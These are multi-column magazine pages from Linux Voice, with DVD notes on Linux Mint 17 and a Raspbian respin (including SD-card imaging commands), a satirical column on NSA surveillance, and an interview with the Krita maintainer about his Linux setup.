Term Support release that’s exactly what we         you’re deciding whether to install it. Boot
want”. Yes, Mint 17 is an excellent release,        your machine from the DVD – in most
and it’s not surprising that it’s at the top of     cases, this just means starting your PC with
the charts on DistroWatch.com. It has won           the disc in your drive. (If that doesn’t work,
many fans both among new users and                  you may need to change your PC’s boot
experienced Linuxers, and it’s a great way to       order in the BIOS, so consult your system’s
dip your toes into the world of Linux or            documentation.)                                     Mint 17 doesn’t look drastically different to the
simply update your machine to get all of the                                                            last release; it’s all about refinements here.
latest packages. The version on our DVD             32- & 64-bit
sports the slick Cinnamon interface, but if         At the menu you’ll be asked whether you
you prefer the more traditional Mate desktop        want the 32-bit or 64-bit version, so choose
                                                    whatever’s relevant for your machine. Mint
                                                    17 will boot up, and you’ll arrive at the
                                                    desktop. You can now explore the distro; to
                                                    install it to your hard drive, double-click the
                                                    icon on the desktop and follow the prompts.
                                                    Recommended minimum system
                                                    requirements are a 1.5GHz CPU, 1GB RAM
                                                    and 10GB of hard drive space.
                                                      If your PC currently only runs Windows,
                                                    you can install Linux alongside it to get a
                                                    boot menu when you start the machine. For
Mint 17’s welcome screen is prettier and            more information and help on Mint, visit
faster than ever before.                            www.linuxmint.com.



112                                                              www.linuxvoice.com
                                                                                                                                    DVDPAGES


Enhanced Pi distro


Raspbian LV Edition
More software, a better interface and heaps of tutorials…


R
           aspbian, the most commonly used           using the GTK toolkit, so fits in with the
           Linux distribution on the Raspberry       LXDE environment.
           Pi, is the thing that makes the              Synaptic provides a nice interface for
single-board computer work so well for so            installing software, while AbiWord and
many people. It’s been tweaked and tuned to          Gnumeric give us useful office functionality.
take advantage of the unusual hardware               They can be a little slow on the Pi, but they’re
characteristics of the Raspberry Pi. It’s also       great for simple tasks. Having office
the platform on which hundreds of hardware           software installed out of the box makes all        Sink your teeth into new projects with the
add-ons are tested, while thousands of               the difference, we feel – especially if you’re     tutorials we’ve included as part of the distro!
online tutorials and half a million forum            setting up an internet-less Pi for kids, and
posts explain how it works.                          want to give them some tools for learning          you’ll get all the latest software from the
   However, we find that there are a few bits        and doing their homework.                          Raspberry Pi foundation, and everything
missing that we install every time we                   Lastly, we added a bunch of tutorials from      should run in the same way. You could think
re-image an SD card. We’ve gradually been            previous issues of Linux Voice. These show         if it as a new way to install Raspbian with a
building our own Linux Voice re-spin of              you how to build a Mars rover, install             different default setup.
Raspbian that we use every day, and we’re            OwnCloud, create a Pi-powered arcade                   To use the Raspbian Linux Voice respin,
sharing it for the first time.                       machine and much more. They’re in PDF              you’ll need to copy it from the DVD to your
   It still uses the LXDE desktop                    format and accessible straight from the            home directory, extract it and then use dd to
environment, but we’ve spiced it up with the         desktop – just double-click the Linux Voice        transfer it to the SD card. It’s compressed as
Metacity window manager and some new                 folder to get reading.                             a .xz archive, so this is done with:
artwork (the icons come courtesy of                                                                     unxz lvpi3.img.xz
Elementary, while the desktop wallpapers             Clearing out the chaff                             sudo dd if=lvpi3.img of=/dev/<sd-card-dev> bs=4M
are from TPBarret and P4uLx on DeviantArt).          To make space for all of these additions, we          Replace <sd-card-dev> with the device
There’s also a panel that pops out of the left       removed the Wolfram Mathematica                    node used by your SD card. For example, on
side of the screen to provide a quick                packages. Although this is great software,         our machine there are two hard drives (sda
launcher for some of the more popular                we designed our distro for hobbyists, not          and sdb), so the SD card is sdc. If you’re
pieces of software.                                  schools, and we didn’t feel it would be used       unsure, the command df -h will list all the
   We’ve added a few pieces of software that         enough to justify a place by default. Should       drives and you should be able to figure out
we often find ourselves needing. Perhaps             you need it, it’s just an apt-get (or Synaptic     which one is the SD card by what size it is.
our personal biggest issue with Raspbian is          click) away. So while this is an awesome           Be careful though because it will overwrite
the lack of a decent graphical text editor in        souped-up Pi distro, it’s not a revolutionary      all the data on the drive!
the default build, so our distro includes            change and everything you know (or will               If you’re new to the Raspberry Pi, see the
Gedit. This may not be your favourite editor,        learn!) about Raspbian still applies.              detailed installation instructions at
but it’s easy to use, has programmers’                  Our distro is still linked to the usual         www.raspberrypi.org/documentation/
features like syntax highlighting, and is built      package-laden Raspbian repositories, so            installation/installing-images/linux.md.




  And there’s more!
  Newbie-friendly videos and the latest podcasts
  Linux Voice is an unashamedly geeky                 what Linux is, how to install it, and how to
  magazine: we love coding, we love fiddling          use it. They’re based on Linux Mint, so are
  with config files, and we love text editors that    well worth watching before you install the
  take a lifetime to learn. But we also know that     distribution from the DVD.
  everyone has to start somewhere, so for those          Meanwhile, if you’ve been with Linux Voice
  curious dabblers who are trying Linux for           for a while, you may know that we record a
  the first time after picking up this magazine,      pocast every two weeks and put it on our
  we’ve included some getting started videos.         website. If your bandwidth isn’t so great, grab
  Just open up index.html on the DVD in               the latest episodes from the disc and hear
  Firefox, and scroll down to the Videos section.     Graham, Andrew, Ben and Mike talk about
  There you’ll see three short videos created         everything that’s good and bad in FOSS (and       Linux isn’t scary – it’s just different. Our videos
  by our very own Graham Morrison, explaining         about our discoveries finds too).                 explain the ins and outs of Mint.




                                                                 www.linuxvoice.com                                                                       113
      /DEV/RANDOM/




Final thoughts, musings and reflections
                            Nick Veitch
                            was the original editor
                                                                                        And the quaint old
                            of Linux Format, a                                          town of Deventer             Cintiq Hybrid Companion,
                            role he played until he          Behind the keyboard:       provides the backdrop        provided by Wacom to the
                            got bored and went               Huion H610 tablet,                                      Krita project, thanks!
                            to work at Canonical             provided to the Krita
                            instead. Splitter!               project by Huion,
                                                             thanks!
                                                                                                            On the monitor: Kiki, the
                                                                                                            Krita mascot (made us
                                                                                                            hugely popular in Japan!)




T
            wenty years ago, I and many other
            people involved in IT, were convinced that
            various government agencies were
reading email and protecting their respective                                                                                       Mac mini, ready for
                                                                                                                                    when we get our
nations from terrorist attacks by searching for                   Laptop with                                                       kickstarter super-
suspicious words like “bomb” and “plot”. The                      Kubuntu                       Desktop with                        stretch goal
                                                                                                OpenSUSE 13.1
defence against this was to litter *every* email
with as many mentions of suspicious words as
we could think of. Generating large amounts of
this ‘spook fodder’, we thought, would cause the
agencies to pointlessly investigate countless

                                                         My Linux setup Boudewijn Rempt
numbers of emails and presumably get a bit fed
up. We needn’t have bothered.
    Oh, ‘they’ most assuredly were reading mails,
but what we didn’t realise at the time was that          After Krita’s Kickstarter campaign successfully closed with
the list of suspicious and subversive words              close to €20,000, we asked its maintainer about his kit.
probably already included terms that already
littered our mails, like ‘privacy’. And ‘linux’.              What version of Linux are you               I started using SuSe 5.1 after that.
    Recent revelations of the NSA’s XKeyScore                 using at the moment?
code, if genuine, suggest that simply searching               OpenSUSE 13.1, Kubuntu 14.4 and                   What Free Software/open source
for privacy tools such as Tor and Tails will cause            CentOS 6.4. Also some Windows                     can’t you live without?
people to be considered worthy of rigorous               and OSX on the sidelines. OpenSUSE is                  Linux, KDE, konsole, kate, Qt, Qt
investigation. As will, apparently, visiting that well   my perfect development system, though.                 Creator, Krita, Bash, git, gcc...
known portal of international terrorism, the Linux                                                        Apache, too. Mailman, Wordpress,
Journal website.                                                Which desktop do you prefer (we           Joomla. Basically, I’d probably retire and
    It is time to embrace our status as dangerous               think we know the answer)?                become a second-hand bookseller or
subversives who are enemies of the state and                    I mostly use KDE, but sometimes I         something similarly analog if there were
use it to our advantage. It is unlikely we will ever            have to test Krita on Gnome or            no free software!
be called up for jury duty for one. If you ever go       Unity. I’ve used KDE since 1.2.
sailing you can be pretty sure that if you get lost                                                             What do other people love but
that the most up to date satellite surveillance                 What was the first Linux setup                  you can’t get on with?
tools know where you are to the nanometre. And                  you ever used?                                  I’m not very fond of flamewars...
I look forward to the day when IT recruiters                    The first Linux I downloaded was                People seem to love those. I’ve
realise that more important than how many                       SLS, on a huge stack of floppies. I       happily used Vi and XEmacs in the same
LinkedIn recommendations you have is the                 never got that to work, though, the first        session. I’ve got KDE and Gnome on all
number of national security blacklists you               time I got Linux to run was with                 my systems. Well, what I really cannot
appear on. Bomb. Plot. NSA. Beer. Terror. Robots.        Slackware. After gettting out the                stand is software created to take the place
Olivia Newton-John. Question Time. Chesney               calculator to figure out the modelines, I        of GPL-licensed software, like llvm. I’m a
Hawks. 100ml Lithium. apt-get install tor.               even got X11 working!                            GPL die-hard!



114                                                             www.linuxvoice.com
Master the awesome Krita 2.8




                                   (CC-BY-SA Ivan Yossi)
            CC-BY-SA Ivan Yossi)




                                                       115